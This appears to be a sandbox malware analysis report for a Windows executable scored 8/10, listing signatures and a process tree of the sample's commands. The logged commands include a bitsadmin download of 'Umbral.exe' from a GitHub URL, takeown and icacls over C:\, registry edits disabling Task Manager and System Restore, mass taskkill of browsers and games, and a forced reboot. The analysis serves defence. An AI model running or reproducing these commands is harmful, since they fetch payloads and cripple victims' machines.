Overview

overview

10

Static

static

3

ea94c83cca...93.exe

windows7-x64

8

ea94c83cca...93.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    82s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    09-08-2024 00:56

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ea94c83ccab9fd5d21c2776d6e288ccdd95c8aa827b8e314316435424c0f9093.exe

  • Size

    187KB

  • MD5

    758180c588bfffa96aa400d55513502f

  • SHA1

    558e8ce1e7db1e04ab612390855052a6fcde25a4

  • SHA256

    ea94c83ccab9fd5d21c2776d6e288ccdd95c8aa827b8e314316435424c0f9093

  • SHA512

    d66210dc71ecafd017dbd63301f8072550670ee900d254bb2649e27a9c6ae69dcb86f8b9d1f35663fec979fa6f8dda4e6e49865744f72c4b17ef450ddb678f68

  • SSDEEP

    3072:PV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnP9vg0UasVmkoYcMK/C:Ct5hBPi0BW69hd1MMdxPe9N9uA069TBE

Score
8/10
discoverydropperexploitransomware

Malware Config

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
    dropper
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Drops startup file 2 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 47 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 34 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Kills process with taskkill 11 IoCs
    evasion
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ea94c83ccab9fd5d21c2776d6e288ccdd95c8aa827b8e314316435424c0f9093.exe
    "C:\Users\Admin\AppData\Local\Temp\ea94c83ccab9fd5d21c2776d6e288ccdd95c8aa827b8e314316435424c0f9093.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2424
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A1FA.tmp\A1FB.tmp\A1FC.bat C:\Users\Admin\AppData\Local\Temp\ea94c83ccab9fd5d21c2776d6e288ccdd95c8aa827b8e314316435424c0f9093.exe"
      2⤵
      • Drops startup file
      • Drops file in Program Files directory
      • Suspicious use of WriteProcessMemory
      PID:1392
      • C:\Windows\system32\bitsadmin.exe
        bitsadmin /transfer downloadjob /download /priority normal https://github.com/chokapik1234patcheur/sdfsdifuhsdifhsdiufhsdihfis/raw/main/Umbral.exe C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        3⤵
        • Download via BitsAdmin
        PID:2108
      • C:\Windows\system32\takeown.exe
        takeown /f C:\*.*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2828
      • C:\Windows\system32\icacls.exe
        Icacls C:\*.* /C /G Admin:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3012
      • C:\Windows\system32\reg.exe
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        3⤵
          PID:2704
        • C:\Windows\system32\reg.exe
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
          3⤵
            PID:2740
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\14339.vbs"
            3⤵
              PID:884
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9503.vbs"
              3⤵
              • Blocklisted process makes network request
              PID:1868
            • C:\Windows\system32\timeout.exe
              timeout 60
              3⤵
              • Delays execution with timeout.exe
              PID:2348
            • C:\Windows\system32\rundll32.exe
              rundll32 user32.dll, SwapMouseButton
              3⤵
                PID:1632
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\25728.vbs"
                3⤵
                  PID:1096
                • C:\Windows\system32\timeout.exe
                  timeout 14
                  3⤵
                  • Delays execution with timeout.exe
                  PID:1636
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM hl2.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2428
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM javaw.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2480
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM RobloxPlayerBeta.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:568
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM FortniteClient-Win64-Shipping.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:904
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM GenshinImpact.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1032
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM Among Us.exe
                  3⤵
                  • Kills process with taskkill
                  PID:3044
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM chrome.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2144
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM firefox.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1696
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM msedge.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2392
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM iexplore.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2108
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM explorer.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2704
                • C:\Windows\system32\shutdown.exe
                  shutdown -r -t 60 -c "Dans 1 minutes tu n'as plus de PC fils de viol, On t'a bien baiser le cul fils de pute :)"
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2856
                • C:\Windows\System32\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\25595.vbs"
                  3⤵
                  • Blocklisted process makes network request
                  • Enumerates connected drives
                  • Modifies system certificate store
                  PID:2744
                • C:\Windows\System32\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\31048.vbs"
                  3⤵
                  • Enumerates connected drives
                  PID:2844
                • C:\Windows\System32\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3416.vbs"
                  3⤵
                    PID:2748
                  • C:\Windows\System32\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26548.vbs" 3627.bat
                    3⤵
                      PID:2616
                      • C:\Windows\System32\cmd.exe
                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\3627.bat" "
                        4⤵
                          PID:1272
                          • C:\Windows\system32\reg.exe
                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                            5⤵
                            • Sets desktop wallpaper using registry
                            PID:2644
                          • C:\Windows\system32\reg.exe
                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                            5⤵
                            • Sets desktop wallpaper using registry
                            PID:316
                          • C:\Windows\system32\reg.exe
                            reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                            5⤵
                              PID:1040
                            • C:\Windows\system32\reg.exe
                              reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                              5⤵
                                PID:2440
                              • C:\Windows\system32\rundll32.exe
                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                5⤵
                                  PID:2288
                                • C:\Windows\System32\WScript.exe
                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                  5⤵
                                    PID:2372
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                    5⤵
                                    • Sets desktop wallpaper using registry
                                    PID:2068
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                    5⤵
                                    • Sets desktop wallpaper using registry
                                    PID:2088
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                    5⤵
                                      PID:1584
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                      5⤵
                                        PID:1696
                                      • C:\Windows\system32\rundll32.exe
                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                        5⤵
                                          PID:1860
                                        • C:\Windows\System32\WScript.exe
                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                          5⤵
                                            PID:1528
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                            5⤵
                                            • Sets desktop wallpaper using registry
                                            PID:1832
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                            5⤵
                                            • Sets desktop wallpaper using registry
                                            PID:3056
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                            5⤵
                                              PID:1920
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                              5⤵
                                                PID:1900
                                              • C:\Windows\system32\rundll32.exe
                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                5⤵
                                                  PID:1788
                                                • C:\Windows\System32\WScript.exe
                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                  5⤵
                                                    PID:2712
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                    5⤵
                                                    • Sets desktop wallpaper using registry
                                                    PID:3064
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                    5⤵
                                                    • Sets desktop wallpaper using registry
                                                    PID:2780
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                    5⤵
                                                      PID:2660
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                      5⤵
                                                        PID:2608
                                                      • C:\Windows\system32\rundll32.exe
                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                        5⤵
                                                          PID:2676
                                                        • C:\Windows\System32\WScript.exe
                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                          5⤵
                                                            PID:2008
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                            5⤵
                                                            • Sets desktop wallpaper using registry
                                                            PID:2180
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                            5⤵
                                                            • Sets desktop wallpaper using registry
                                                            PID:2136
                                                          • C:\Windows\system32\reg.exe
                                                            reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                            5⤵
                                                              PID:320
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                              5⤵
                                                                PID:1332
                                                              • C:\Windows\system32\rundll32.exe
                                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                5⤵
                                                                  PID:1996
                                                                • C:\Windows\System32\WScript.exe
                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                  5⤵
                                                                    PID:2320
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                    5⤵
                                                                    • Sets desktop wallpaper using registry
                                                                    PID:2128
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                    5⤵
                                                                    • Sets desktop wallpaper using registry
                                                                    PID:2484
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                    5⤵
                                                                      PID:1664
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                      5⤵
                                                                        PID:2644
                                                                      • C:\Windows\system32\rundll32.exe
                                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                        5⤵
                                                                          PID:316
                                                                        • C:\Windows\System32\WScript.exe
                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                          5⤵
                                                                            PID:1056
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                            5⤵
                                                                            • Sets desktop wallpaper using registry
                                                                            PID:1764
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                            5⤵
                                                                            • Sets desktop wallpaper using registry
                                                                            PID:1260
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                            5⤵
                                                                              PID:1032
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                              5⤵
                                                                                PID:2532
                                                                              • C:\Windows\system32\rundll32.exe
                                                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                5⤵
                                                                                  PID:1592
                                                                                • C:\Windows\System32\WScript.exe
                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                  5⤵
                                                                                    PID:2760
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                    5⤵
                                                                                    • Sets desktop wallpaper using registry
                                                                                    PID:1384
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                    5⤵
                                                                                    • Sets desktop wallpaper using registry
                                                                                    PID:2932
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                    5⤵
                                                                                      PID:1364
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                      5⤵
                                                                                        PID:1836
                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                        5⤵
                                                                                          PID:288
                                                                                        • C:\Windows\System32\WScript.exe
                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                          5⤵
                                                                                            PID:2868
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                            5⤵
                                                                                            • Sets desktop wallpaper using registry
                                                                                            PID:2652
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                            5⤵
                                                                                            • Sets desktop wallpaper using registry
                                                                                            PID:2600
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                            5⤵
                                                                                              PID:2648
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                              5⤵
                                                                                                PID:2688
                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                5⤵
                                                                                                  PID:2732
                                                                                                • C:\Windows\System32\WScript.exe
                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                  5⤵
                                                                                                    PID:1028
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                    5⤵
                                                                                                    • Sets desktop wallpaper using registry
                                                                                                    PID:1276
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                    5⤵
                                                                                                    • Sets desktop wallpaper using registry
                                                                                                    PID:2904
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                    5⤵
                                                                                                      PID:1768
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                      5⤵
                                                                                                        PID:2616
                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                        5⤵
                                                                                                          PID:2388
                                                                                                        • C:\Windows\System32\WScript.exe
                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                          5⤵
                                                                                                            PID:2216
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                            5⤵
                                                                                                            • Sets desktop wallpaper using registry
                                                                                                            PID:1928
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                            5⤵
                                                                                                            • Sets desktop wallpaper using registry
                                                                                                            PID:380
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                            5⤵
                                                                                                              PID:568
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                              5⤵
                                                                                                                PID:1752
                                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                5⤵
                                                                                                                  PID:1764
                                                                                                                • C:\Windows\System32\WScript.exe
                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                  5⤵
                                                                                                                    PID:2108
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                    5⤵
                                                                                                                    • Sets desktop wallpaper using registry
                                                                                                                    PID:2452
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                    5⤵
                                                                                                                    • Sets desktop wallpaper using registry
                                                                                                                    PID:1832
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                    5⤵
                                                                                                                      PID:3056
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                      5⤵
                                                                                                                        PID:288
                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                        5⤵
                                                                                                                          PID:2756
                                                                                                                        • C:\Windows\System32\WScript.exe
                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                          5⤵
                                                                                                                            PID:860
                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                            5⤵
                                                                                                                            • Sets desktop wallpaper using registry
                                                                                                                            PID:1704
                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                            5⤵
                                                                                                                            • Sets desktop wallpaper using registry
                                                                                                                            PID:1756
                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                            reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                            5⤵
                                                                                                                              PID:1148
                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                              reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                              5⤵
                                                                                                                                PID:960
                                                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                5⤵
                                                                                                                                  PID:944
                                                                                                                                • C:\Windows\System32\WScript.exe
                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                  5⤵
                                                                                                                                    PID:1760
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                    5⤵
                                                                                                                                    • Sets desktop wallpaper using registry
                                                                                                                                    PID:1764
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                    5⤵
                                                                                                                                    • Sets desktop wallpaper using registry
                                                                                                                                    PID:2088
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                    5⤵
                                                                                                                                      PID:1588
                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                      reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                      5⤵
                                                                                                                                        PID:2140
                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                        5⤵
                                                                                                                                          PID:2132
                                                                                                                                        • C:\Windows\System32\WScript.exe
                                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                          5⤵
                                                                                                                                            PID:2856
                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                            5⤵
                                                                                                                                            • Sets desktop wallpaper using registry
                                                                                                                                            PID:1900
                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                            5⤵
                                                                                                                                            • Sets desktop wallpaper using registry
                                                                                                                                            PID:2496
                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                            reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                            5⤵
                                                                                                                                              PID:2940
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                              5⤵
                                                                                                                                                PID:2628
                                                                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                5⤵
                                                                                                                                                  PID:2504
                                                                                                                                                • C:\Windows\System32\WScript.exe
                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                  5⤵
                                                                                                                                                    PID:2680
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                                    5⤵
                                                                                                                                                    • Sets desktop wallpaper using registry
                                                                                                                                                    PID:1912
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                                    5⤵
                                                                                                                                                    • Sets desktop wallpaper using registry
                                                                                                                                                    PID:1308
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                                    5⤵
                                                                                                                                                      PID:1996
                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                      reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                      5⤵
                                                                                                                                                        PID:1284
                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                        5⤵
                                                                                                                                                          PID:2204
                                                                                                                                                        • C:\Windows\System32\WScript.exe
                                                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                          5⤵
                                                                                                                                                            PID:2888
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                                            5⤵
                                                                                                                                                            • Sets desktop wallpaper using registry
                                                                                                                                                            PID:2196
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                                            5⤵
                                                                                                                                                            • Sets desktop wallpaper using registry
                                                                                                                                                            PID:1664
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                                            5⤵
                                                                                                                                                              PID:1040
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                              5⤵
                                                                                                                                                                PID:2592
                                                                                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                                                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:1928
                                                                                                                                                                • C:\Windows\System32\WScript.exe
